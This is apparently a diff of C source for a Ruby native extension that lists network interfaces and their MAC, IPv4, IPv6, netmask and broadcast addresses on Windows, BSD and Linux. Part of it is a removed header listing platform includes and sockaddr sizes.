int n;
|
||||
char tmpbuf[80], *ptr = tmpbuf;
|
||||
int done_double_colon = FALSE;
|
||||
int colon_mode = FALSE;
|
||||
|
||||
for (n = 0; n < 8; ++n)
|
||||
{
|
||||
unsigned char b1 = bytes[2 * n];
|
||||
unsigned char b2 = bytes[2 * n + 1];
|
||||
|
||||
if (b1)
|
||||
{
|
||||
if (colon_mode)
|
||||
{
|
||||
colon_mode = FALSE;
|
||||
*ptr++ = ':';
|
||||
}
|
||||
sprintf (ptr, "%x%02x", b1, b2);
|
||||
ptr += strlen (ptr);
|
||||
*ptr++ = ':';
|
||||
}
|
||||
else if (b2)
|
||||
{
|
||||
if (colon_mode)
|
||||
{
|
||||
colon_mode = FALSE;
|
||||
*ptr++ = ':';
|
||||
}
|
||||
sprintf (ptr, "%x", b2);
|
||||
ptr += strlen (ptr);
|
||||
*ptr++ = ':';
|
||||
}
|
||||
else {
|
||||
if (!colon_mode)
|
||||
{
|
||||
if (done_double_colon)
|
||||
{
|
||||
*ptr++ = '0';
|
||||
*ptr++ = ':';
|
||||
}
|
||||
else
|
||||
{
|
||||
if (n == 0)
|
||||
*ptr++ = ':';
|
||||
colon_mode = TRUE;
|
||||
done_double_colon = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (colon_mode)
|
||||
{
|
||||
colon_mode = FALSE;
|
||||
*ptr++ = ':';
|
||||
*ptr++ = '\0';
|
||||
}
|
||||
else
|
||||
{
|
||||
*--ptr = '\0';
|
||||
}
|
||||
|
||||
strncpy (buffer, tmpbuf, buflen);
|
||||
}
|
||||
break;
|
||||
#endif /* AF_INET6 */
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static int
|
||||
string_from_sockaddr (struct sockaddr *addr,
|
||||
char *buffer,
|
||||
int buflen)
|
||||
{
|
||||
if (!addr || addr->sa_family == AF_UNSPEC)
|
||||
return -1;
|
||||
|
||||
if (getnameinfo (addr, SA_LEN(addr),
|
||||
buffer, buflen,
|
||||
NULL, 0,
|
||||
NI_NUMERICHOST) != 0)
|
||||
{
|
||||
int n, len;
|
||||
char *ptr;
|
||||
const char *data;
|
||||
|
||||
len = SA_LEN(addr);
|
||||
|
||||
#if HAVE_AF_LINK
|
||||
/* BSD-like systems have AF_LINK */
|
||||
if (addr->sa_family == AF_LINK)
|
||||
{
|
||||
struct sockaddr_dl *dladdr = (struct sockaddr_dl *)addr;
|
||||
len = dladdr->sdl_alen;
|
||||
if(len >=0)
|
||||
data = LLADDR(dladdr);
|
||||
}
|
||||
else
|
||||
{
|
||||
#endif
|
||||
#if defined(AF_PACKET)
|
||||
/* Linux has AF_PACKET instead */
|
||||
if (addr->sa_family == AF_PACKET)
|
||||
{
|
||||
struct sockaddr_ll *lladdr = (struct sockaddr_ll *)addr;
|
||||
len = lladdr->sll_halen;
|
||||
//amaloteaux: openbsd and maybe other systems have a len of 0 for enc0,pflog0 .. interfaces
|
||||
if(len >=0)
|
||||
data = (const char *)lladdr->sll_addr;
|
||||
}
|
||||
else
|
||||
{
|
||||
#endif
|
||||
/* We don't know anything about this sockaddr, so just display
|
||||
the entire data area in binary. */
|
||||
len -= (sizeof (struct sockaddr) - sizeof (addr->sa_data));
|
||||
data = addr->sa_data;
|
||||
#if defined(AF_PACKET)
|
||||
}
|
||||
#endif
|
||||
#if HAVE_AF_LINK
|
||||
}
|
||||
#endif
|
||||
|
||||
if ((buflen < 3 * len) || len <= 0)
|
||||
return -1;
|
||||
|
||||
ptr = buffer;
|
||||
buffer[0] = '\0';
|
||||
|
||||
for (n = 0; n < len; ++n)
|
||||
{
|
||||
sprintf (ptr, "%02x:", data[n] & 0xff);
|
||||
ptr += 3;
|
||||
}
|
||||
*--ptr = '\0';
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif /* !defined(WIN32) */
|
||||
|
||||
static VALUE add_to_family(VALUE result, VALUE family, VALUE value)
|
||||
{
|
||||
Check_Type(result, T_HASH);
|
||||
Check_Type(family, T_FIXNUM);
|
||||
Check_Type(value, T_HASH);
|
||||
VALUE list;
|
||||
|
||||
list = rb_hash_aref(result, family);
|
||||
|
||||
if (list == Qnil)
|
||||
list = rb_ary_new();
|
||||
else
|
||||
Check_Type(list, T_ARRAY);
|
||||
|
||||
rb_ary_push(list, value);
|
||||
rb_hash_aset(result, family, list);
|
||||
return result;
|
||||
}
|
||||
|
||||
VALUE
|
||||
rbnetifaces_s_addresses (VALUE class, VALUE dev)
|
||||
{
|
||||
Check_Type(dev, T_STRING);
|
||||
|
||||
VALUE result;
|
||||
int found = FALSE;
|
||||
result = rb_hash_new();
|
||||
|
||||
#if defined(WIN32)
|
||||
PIP_ADAPTER_INFO pAdapterInfo = NULL;
|
||||
PIP_ADAPTER_INFO pInfo = NULL;
|
||||
ULONG ulBufferLength = 0;
|
||||
DWORD dwRet;
|
||||
PIP_ADDR_STRING str;
|
||||
|
||||
//First, retrieve the adapter information. We do this in a loop, in
|
||||
//case someone adds or removes adapters in the meantime.
|
||||
do
|
||||
{
|
||||
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
|
||||
|
||||
if (dwRet == ERROR_BUFFER_OVERFLOW)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
|
||||
|
||||
if (!pAdapterInfo)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
}
|
||||
} while (dwRet == ERROR_BUFFER_OVERFLOW);
|
||||
|
||||
// If we failed, then fail in Ruby too
|
||||
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
rb_raise(rb_eRuntimeError, "Unable to obtain adapter information.");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
|
||||
{
|
||||
char buffer[256];
|
||||
//dev is the iface GUID on windows with "\\Device\\NPF_" prefix
|
||||
int cmpAdapterNamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
|
||||
char cmpAdapterName[cmpAdapterNamelen];
|
||||
memset(cmpAdapterName, 0x00, cmpAdapterNamelen);
|
||||
strncpy(cmpAdapterName, "\\Device\\NPF_", 12);
|
||||
int AdapterName_len = strlen(pInfo->AdapterName);
|
||||
strncpy(cmpAdapterName + 12, pInfo->AdapterName, AdapterName_len);
|
||||
if (strcmp (cmpAdapterName, StringValuePtr(dev)) != 0)
|
||||
continue;
|
||||
|
||||
VALUE rbhardw = Qnil;
|
||||
VALUE rbaddr = Qnil;
|
||||
VALUE rbnetmask = Qnil;
|
||||
VALUE rbbraddr = Qnil;
|
||||
|
||||
found = TRUE;
|
||||
|
||||
// Do the physical address
|
||||
if (256 >= 3 * pInfo->AddressLength)
|
||||
{
|
||||
VALUE hash_hardw;
|
||||
hash_hardw = rb_hash_new();
|
||||
|
||||
char *ptr = buffer;
|
||||
unsigned n;
|
||||
|
||||
*ptr = '\0';
|
||||
for (n = 0; n < pInfo->AddressLength; ++n)
|
||||
{
|
||||
sprintf (ptr, "%02x:", pInfo->Address[n] & 0xff);
|
||||
ptr += 3;
|
||||
}
|
||||
*--ptr = '\0';
|
||||
|
||||
rbhardw = rb_str_new2(buffer);
|
||||
rb_hash_aset(hash_hardw, rb_str_new2("addr"), rbhardw);
|
||||
result = add_to_family(result, INT2FIX(AF_LINK), hash_hardw);
|
||||
}
|
||||
|
||||
for (str = &pInfo->IpAddressList; str; str = str->Next)
|
||||
{
|
||||
|
||||
VALUE result2;
|
||||
result2 = rb_hash_new();
|
||||
|
||||
if(str->IpAddress.String)
|
||||
rbaddr = rb_str_new2(str->IpAddress.String);
|
||||
if(str->IpMask.String)
|
||||
rbnetmask = rb_str_new2(str->IpMask.String);
|
||||
|
||||
//If this isn't the loopback interface, work out the broadcast
|
||||
//address, for better compatibility with other platforms.
|
||||
if (pInfo->Type != MIB_IF_TYPE_LOOPBACK)
|
||||
{
|
||||
unsigned long inaddr = inet_addr (str->IpAddress.String);
|
||||
unsigned long inmask = inet_addr (str->IpMask.String);
|
||||
struct in_addr in;
|
||||
char *brstr;
|
||||
|
||||
in.S_un.S_addr = (inaddr | ~inmask) & 0xfffffffful;
|
||||
|
||||
brstr = inet_ntoa (in);
|
||||
|
||||
if (brstr)
|
||||
rbbraddr = rb_str_new2(brstr);
|
||||
}
|
||||
|
||||
if (rbaddr)
|
||||
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
|
||||
if (rbnetmask)
|
||||
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
|
||||
if (rbbraddr)
|
||||
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
|
||||
|
||||
result = add_to_family(result, INT2FIX(AF_INET), result2);
|
||||
|
||||
}
|
||||
} // for
|
||||
|
||||
free (pAdapterInfo);
|
||||
|
||||
#elif HAVE_GETIFADDRS
|
||||
struct ifaddrs *addrs = NULL;
|
||||
struct ifaddrs *addr = NULL;
|
||||
|
||||
if (getifaddrs (&addrs) < 0)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
}
|
||||
|
||||
for (addr = addrs; addr; addr = addr->ifa_next)
|
||||
{
|
||||
char buffer[256];
|
||||
VALUE rbaddr = Qnil;
|
||||
VALUE rbnetmask = Qnil;
|
||||
VALUE rbbraddr = Qnil;
|
||||
|
||||
if (strcmp (addr->ifa_name, StringValuePtr(dev)) != 0)
|
||||
continue;
|
||||
|
||||
/* Sometimes there are records without addresses (e.g. in the case of a
|
||||
dial-up connection via ppp, which on Linux can have a link address
|
||||
record with no actual address). We skip these as they aren't useful.
|
||||
Thanks to Christian Kauhaus for reporting this issue. */
|
||||
if (!addr->ifa_addr)
|
||||
continue;
|
||||
|
||||
found = TRUE;
|
||||
|
||||
if (string_from_sockaddr (addr->ifa_addr, buffer, sizeof (buffer)) == 0)
|
||||
rbaddr = rb_str_new2(buffer);
|
||||
|
||||
if (string_from_sockaddr (addr->ifa_netmask, buffer, sizeof (buffer)) == 0)
|
||||
rbnetmask = rb_str_new2(buffer);
|
||||
|
||||
if (string_from_sockaddr (addr->ifa_broadaddr, buffer, sizeof (buffer)) == 0)
|
||||
rbbraddr = rb_str_new2(buffer);
|
||||
|
||||
VALUE result2;
|
||||
result2 = rb_hash_new();
|
||||
|
||||
if (rbaddr)
|
||||
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
|
||||
if (rbnetmask)
|
||||
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
|
||||
if (rbbraddr)
|
||||
{
|
||||
if (addr->ifa_flags & (IFF_POINTOPOINT | IFF_LOOPBACK))
|
||||
rb_hash_aset(result2, rb_str_new2("peer"), rbbraddr);
|
||||
else
|
||||
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
|
||||
}
|
||||
if (rbaddr || rbnetmask || rbbraddr)
|
||||
result = add_to_family(result, INT2FIX(addr->ifa_addr->sa_family), result2);
|
||||
}
|
||||
freeifaddrs (addrs);
|
||||
#elif HAVE_SOCKET_IOCTLS
|
||||
|
||||
int sock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
|
||||
if (sock < 0)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
struct CNAME(ifreq) ifr;
|
||||
|
||||
char buffer[256];
|
||||
int is_p2p = FALSE;
|
||||
VALUE rbaddr = Qnil;
|
||||
VALUE rbnetmask = Qnil;
|
||||
VALUE rbbraddr = Qnil;
|
||||
VALUE rbdstaddr = Qnil;
|
||||
|
||||
strncpy (ifr.CNAME(ifr_name), StringValuePtr(dev), IFNAMSIZ);
|
||||
|
||||
#if HAVE_SIOCGIFHWADDR
|
||||
if (ioctl (sock, SIOCGIFHWADDR, &ifr) == 0)
|
||||
{
|
||||
if (string_from_sockaddr (&(ifr.CNAME(ifr_addr)), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
|
||||
VALUE rbhardw = Qnil;
|
||||
VALUE hash_hardw;
|
||||
hash_hardw = rb_hash_new();
|
||||
rbhardw = rb_str_new2(buffer);
|
||||
rb_hash_aset(hash_hardw, rb_str_new2("addr"), rbhardw);
|
||||
result = add_to_family(result, INT2FIX(AF_LINK), hash_hardw);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
#if HAVE_SIOCGIFADDR
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (ioctl (sock, SIOCGLIFADDR, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (ioctl (sock, SIOCGIFADDR, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
rbaddr = rb_str_new2(buffer);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if HAVE_SIOCGIFNETMASK
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (ioctl (sock, SIOCGLIFNETMASK, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (ioctl (sock, SIOCGIFNETMASK, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
rbnetmask = rb_str_new2(buffer);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if HAVE_SIOCGIFFLAGS
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (ioctl (sock, SIOCGLIFFLAGS, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (ioctl (sock, SIOCGIFFLAGS, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
|
||||
if (ifr.CNAME(ifr_flags) & IFF_POINTOPOINT)
|
||||
{
|
||||
is_p2p = TRUE;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if HAVE_SIOCGIFBRDADDR
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (!is_p2p && ioctl (sock, SIOCGLIFBRDADDR, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (!is_p2p && ioctl (sock, SIOCGIFBRDADDR, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
|
||||
|
||||
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
rbbraddr = rb_str_new2(buffer);
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if HAVE_SIOCGIFDSTADDR
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (is_p2p && ioctl (sock, SIOCGLIFBRDADDR, &ifr) == 0)
|
||||
{
|
||||
#else
|
||||
if (is_p2p && ioctl (sock, SIOCGIFBRDADDR, &ifr) == 0)
|
||||
{
|
||||
#endif
|
||||
if (string_from_sockaddr ((struct sockaddr *)&ifr.CNAME(ifr_addr), buffer, sizeof (buffer)) == 0)
|
||||
{
|
||||
found = TRUE;
|
||||
rbdstaddr = rb_str_new2(buffer);
|
||||
}
|
||||
}
|
||||
|
||||
#endif
|
||||
VALUE result2;
|
||||
result2 = rb_hash_new();
|
||||
|
||||
if (rbaddr)
|
||||
rb_hash_aset(result2, rb_str_new2("addr"), rbaddr);
|
||||
if (rbnetmask)
|
||||
rb_hash_aset(result2, rb_str_new2("netmask"), rbnetmask);
|
||||
if (rbbraddr)
|
||||
rb_hash_aset(result2, rb_str_new2("broadcast"), rbbraddr);
|
||||
if (rbdstaddr)
|
||||
rb_hash_aset(result2, rb_str_new2("peer"), rbbraddr);
|
||||
|
||||
if (rbaddr || rbnetmask || rbbraddr || rbdstaddr)
|
||||
result = add_to_family(result, INT2FIX(AF_INET), result2);
|
||||
|
||||
close (sock);
|
||||
#endif /* HAVE_SOCKET_IOCTLS */
|
||||
|
||||
if (found)
|
||||
return result;
|
||||
else
|
||||
return Qnil;
|
||||
|
||||
}
|
||||
|
||||
VALUE
|
||||
rbnetifaces_s_interfaces (VALUE self)
|
||||
{
|
||||
VALUE result;
|
||||
result = rb_ary_new();
|
||||
|
||||
#if defined(WIN32)
|
||||
PIP_ADAPTER_INFO pAdapterInfo = NULL;
|
||||
PIP_ADAPTER_INFO pInfo = NULL;
|
||||
ULONG ulBufferLength = 0;
|
||||
DWORD dwRet;
|
||||
|
||||
// First, retrieve the adapter information
|
||||
do {
|
||||
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
|
||||
|
||||
if (dwRet == ERROR_BUFFER_OVERFLOW)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
|
||||
|
||||
if (!pAdapterInfo)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
}
|
||||
}
|
||||
} while (dwRet == ERROR_BUFFER_OVERFLOW);
|
||||
|
||||
// If we failed, then fail in Ruby too
|
||||
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
if (dwRet == ERROR_NO_DATA)
|
||||
{
|
||||
free (pAdapterInfo);
|
||||
return result;
|
||||
}
|
||||
|
||||
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
|
||||
{
|
||||
int outputnamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
|
||||
char outputname[outputnamelen];
|
||||
memset(outputname, 0x00, outputnamelen);
|
||||
strncpy(outputname, "\\Device\\NPF_", 12);
|
||||
int AdapterName_len = strlen(pInfo->AdapterName);
|
||||
strncpy(outputname + 12, pInfo->AdapterName, AdapterName_len);
|
||||
VALUE ifname = rb_str_new2(outputname) ;
|
||||
|
||||
if(!rb_ary_includes(result, ifname))
|
||||
rb_ary_push(result, ifname);
|
||||
}
|
||||
|
||||
free (pAdapterInfo);
|
||||
|
||||
#elif HAVE_GETIFADDRS
|
||||
const char *prev_name = NULL;
|
||||
struct ifaddrs *addrs = NULL;
|
||||
struct ifaddrs *addr = NULL;
|
||||
|
||||
if (getifaddrs (&addrs) < 0)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
}
|
||||
|
||||
for (addr = addrs; addr; addr = addr->ifa_next)
|
||||
{
|
||||
if (!prev_name || strncmp (addr->ifa_name, prev_name, IFNAMSIZ) != 0)
|
||||
{
|
||||
VALUE ifname = rb_str_new2(addr->ifa_name);
|
||||
|
||||
if(!rb_ary_includes(result, ifname))
|
||||
rb_ary_push(result, ifname);
|
||||
|
||||
prev_name = addr->ifa_name;
|
||||
}
|
||||
}
|
||||
|
||||
freeifaddrs (addrs);
|
||||
#elif HAVE_SIOCGIFCONF
|
||||
|
||||
const char *prev_name = NULL;
|
||||
int fd = socket (AF_INET, SOCK_DGRAM, 0);
|
||||
struct CNAME(ifconf) ifc;
|
||||
int len = -1, n;
|
||||
if (fd < 0) {
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
// Try to find out how much space we need
|
||||
#if HAVE_SIOCGSIZIFCONF
|
||||
if (ioctl (fd, SIOCGSIZIFCONF, &len) < 0)
|
||||
len = -1;
|
||||
#elif HAVE_SIOCGLIFNUM
|
||||
#error This code need to be checked first
|
||||
/*
|
||||
{ struct lifnum lifn;
|
||||
lifn.lifn_family = AF_UNSPEC;
|
||||
lifn.lifn_flags = LIFC_NOXMIT | LIFC_TEMPORARY | LIFC_ALLZONES;
|
||||
ifc.lifc_family = AF_UNSPEC;
|
||||
ifc.lifc_flags = LIFC_NOXMIT | LIFC_TEMPORARY | LIFC_ALLZONES;
|
||||
if (ioctl (fd, SIOCGLIFNUM, (char *)&lifn) < 0)
|
||||
len = -1;
|
||||
else
|
||||
len = lifn.lifn_count;
|
||||
}
|
||||
*/
|
||||
#endif
|
||||
|
||||
// As a last resort, guess
|
||||
if (len < 0)
|
||||
len = 64;
|
||||
|
||||
ifc.CNAME(ifc_len) = len * sizeof (struct CNAME(ifreq));
|
||||
ifc.CNAME(ifc_buf) = malloc (ifc.CNAME(ifc_len));
|
||||
|
||||
if (!ifc.CNAME(ifc_buf)) {
|
||||
close (fd);
|
||||
rb_raise(rb_eRuntimeError, "Not enough memory");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
if (ioctl (fd, SIOCGLIFCONF, &ifc) < 0) {
|
||||
#else
|
||||
if (ioctl (fd, SIOCGIFCONF, &ifc) < 0) {
|
||||
|
||||
#endif
|
||||
free (ifc.CNAME(ifc_req));
|
||||
close (fd);
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
|
||||
struct CNAME(ifreq) *pfreq = ifc.CNAME(ifc_req);
|
||||
|
||||
for (n = 0; n < ifc.CNAME(ifc_len)/sizeof(struct CNAME(ifreq));n++,pfreq++)
|
||||
{
|
||||
if (!prev_name || strncmp (prev_name, pfreq->CNAME(ifr_name), IFNAMSIZ) != 0)
|
||||
{
|
||||
VALUE ifname = rb_str_new2(pfreq->CNAME(ifr_name));
|
||||
if(!rb_ary_includes(result, ifname))
|
||||
rb_ary_push(result, ifname);
|
||||
|
||||
prev_name = pfreq->CNAME(ifr_name);
|
||||
}
|
||||
}
|
||||
|
||||
free (ifc.CNAME(ifc_buf));
|
||||
close (fd);
|
||||
|
||||
#endif //
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
//This function is usefull only under windows to retrieve some additionnal interfaces informations
|
||||
VALUE
|
||||
rbnetifaces_s_interface_info (VALUE self, VALUE dev)
|
||||
{
|
||||
VALUE result = Qnil;
|
||||
|
||||
#if defined(WIN32)
|
||||
|
||||
PIP_ADAPTER_INFO pAdapterInfo = NULL;
|
||||
PIP_ADAPTER_INFO pInfo = NULL;
|
||||
ULONG ulBufferLength = 0;
|
||||
DWORD dwRet;
|
||||
|
||||
// First, retrieve the adapter information
|
||||
do {
|
||||
dwRet = GetAdaptersInfo(pAdapterInfo, &ulBufferLength);
|
||||
|
||||
if (dwRet == ERROR_BUFFER_OVERFLOW)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
pAdapterInfo = (PIP_ADAPTER_INFO)malloc (ulBufferLength);
|
||||
|
||||
if (!pAdapterInfo)
|
||||
{
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
}
|
||||
}
|
||||
} while (dwRet == ERROR_BUFFER_OVERFLOW);
|
||||
|
||||
// If we failed, then fail in Ruby too
|
||||
if (dwRet != ERROR_SUCCESS && dwRet != ERROR_NO_DATA)
|
||||
{
|
||||
if (pAdapterInfo)
|
||||
free (pAdapterInfo);
|
||||
|
||||
rb_raise(rb_eRuntimeError, "Unknow error at OS level");
|
||||
return Qnil;
|
||||
}
|
||||
if (dwRet == ERROR_NO_DATA)
|
||||
{
|
||||
free (pAdapterInfo);
|
||||
return result;
|
||||
}
|
||||
|
||||
for (pInfo = pAdapterInfo; pInfo; pInfo = pInfo->Next)
|
||||
{
|
||||
|
||||
//dev is the iface GUID on windows with "\\Device\\NPF_" prefix
|
||||
int cmpAdapterNamelen = (MAX_ADAPTER_NAME_LENGTH + 4) + 12;
|
||||
char cmpAdapterName[cmpAdapterNamelen];
|
||||
memset(cmpAdapterName, 0x00, cmpAdapterNamelen);
|
||||
strncpy(cmpAdapterName, "\\Device\\NPF_", 12);
|
||||
int AdapterName_len = strlen(pInfo->AdapterName);
|
||||
strncpy(cmpAdapterName + 12, pInfo->AdapterName, AdapterName_len);
|
||||
if (strcmp (cmpAdapterName, StringValuePtr(dev)) != 0)
|
||||
continue;
|
||||
|
||||
result = rb_hash_new();
|
||||
rb_hash_aset(result, rb_str_new2("description"), rb_str_new2(pInfo->Description));
|
||||
rb_hash_aset(result, rb_str_new2("guid"), rb_str_new2(pInfo->AdapterName));
|
||||
|
||||
// Get the name from the registry
|
||||
const char* prefix = "SYSTEM\\CurrentControlSet\\Control\\Network\\{4D36E972-E325-11CE-BFC1-08002BE10318}\\";
|
||||
const char* sufix = "\\Connection";
|
||||
int prefix_len = strlen(prefix);
|
||||
int sufix_len = strlen(sufix);
|
||||
int adaptername_len = strlen(pInfo->AdapterName);
|
||||
char* keypath = NULL;
|
||||
keypath = malloc(prefix_len + sufix_len + adaptername_len + 1);
|
||||
memset(keypath, 0x00, prefix_len + sufix_len + adaptername_len + 1);
|
||||
strncpy(keypath, prefix, prefix_len);
|
||||
strncpy(keypath + prefix_len, pInfo->AdapterName, adaptername_len);
|
||||
strncpy(keypath + prefix_len + adaptername_len, sufix, sufix_len);
|
||||
|
||||
HKEY hKey;
|
||||
LONG lRet = 0;
|
||||
LPBYTE buffer = NULL;
|
||||
DWORD dwSize = 0;
|
||||
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, keypath, 0, KEY_READ, &hKey) == ERROR_SUCCESS)
|
||||
{
|
||||
// obtain current value size
|
||||
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, NULL, &dwSize);
|
||||
if (dwSize > 0 && ERROR_SUCCESS == lRet)
|
||||
{
|
||||
buffer = malloc((dwSize * sizeof(BYTE)) + 4);
|
||||
memset(buffer, 0x00, (dwSize * sizeof(BYTE)) + 4);
|
||||
lRet = RegQueryValueEx(hKey, "Name", NULL, NULL, buffer, &dwSize);
|
||||
if (ERROR_SUCCESS == lRet)
|
||||
{
|
||||
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(buffer));
|
||||
}
|
||||
else
|
||||
{
|
||||
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
|
||||
}
|
||||
free(buffer);
|
||||
}
|
||||
else
|
||||
{
|
||||
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
|
||||
}
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
rb_hash_aset(result, rb_str_new2("name"), rb_str_new2(""));
|
||||
}
|
||||
free(keypath);
|
||||
}
|
||||
free (pAdapterInfo);
|
||||
#endif
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
|
@ -1,184 +0,0 @@
|
|||
#ifndef WIN32
|
||||
|
||||
# include <sys/types.h>
|
||||
# include <sys/socket.h>
|
||||
# include <net/if.h>
|
||||
# include <netdb.h>
|
||||
|
||||
# if HAVE_SOCKET_IOCTLS
|
||||
# include <sys/ioctl.h>
|
||||
# include <netinet/in.h>
|
||||
# include <arpa/inet.h>
|
||||
#if defined(__sun)
|
||||
#include <unistd.h>
|
||||
#include <stropts.h>
|
||||
#include <sys/sockio.h>
|
||||
#endif
|
||||
# endif /* HAVE_SOCKET_IOCTLS */
|
||||
|
||||
/* For logical interfaces support we convert all names to same name prefixed with l */
|
||||
#if HAVE_SIOCGLIFNUM
|
||||
#define CNAME(x) l##x
|
||||
#else
|
||||
#define CNAME(x) x
|
||||
#endif
|
||||
|
||||
#if HAVE_NET_IF_DL_H
|
||||
# include <net/if_dl.h>
|
||||
#endif
|
||||
|
||||
/* For Linux, include all the sockaddr
|
||||
definitions we can lay our hands on. */
|
||||
#if !HAVE_SOCKADDR_SA_LEN
|
||||
# if HAVE_NETASH_ASH_H
|
||||
# include <netash/ash.h>
|
||||
# endif
|
||||
# if HAVE_NETATALK_AT_H
|
||||
# include <netatalk/at.h>
|
||||
# endif
|
||||
# if HAVE_NETAX25_AX25_H
|
||||
# include <netax25/ax25.h>
|
||||
# endif
|
||||
# if HAVE_NETECONET_EC_H
|
||||
# include <neteconet/ec.h>
|
||||
# endif
|
||||
# if HAVE_NETIPX_IPX_H
|
||||
# include <netipx/ipx.h>
|
||||
# endif
|
||||
# if HAVE_NETPACKET_PACKET_H
|
||||
# include <netpacket/packet.h>
|
||||
# endif
|
||||
# if HAVE_NETROSE_ROSE_H
|
||||
# include <netrose/rose.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_IRDA_H
|
||||
# include <linux/irda.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_ATM_H
|
||||
# include <linux/atm.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_LLC_H
|
||||
# include <linux/llc.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_TIPC_H
|
||||
# include <linux/tipc.h>
|
||||
# endif
|
||||
# if HAVE_LINUX_DN_H
|
||||
# include <linux/dn.h>
|
||||
# endif
|
||||
|
||||
/* Map address families to sizes of sockaddr structs */
|
||||
static int af_to_len(int af)
|
||||
{
|
||||
switch (af)
|
||||
{
|
||||
case AF_INET: return sizeof (struct sockaddr_in);
|
||||
#if defined(AF_INET6) && HAVE_SOCKADDR_IN6
|
||||
case AF_INET6: return sizeof (struct sockaddr_in6);
|
||||
#endif
|
||||
#if defined(AF_AX25) && HAVE_SOCKADDR_AX25
|
||||
# if defined(AF_NETROM)
|
||||
case AF_NETROM: /* I'm assuming this is carried over x25 */
|
||||
# endif
|
||||
case AF_AX25: return sizeof (struct sockaddr_ax25);
|
||||
#endif
|
||||
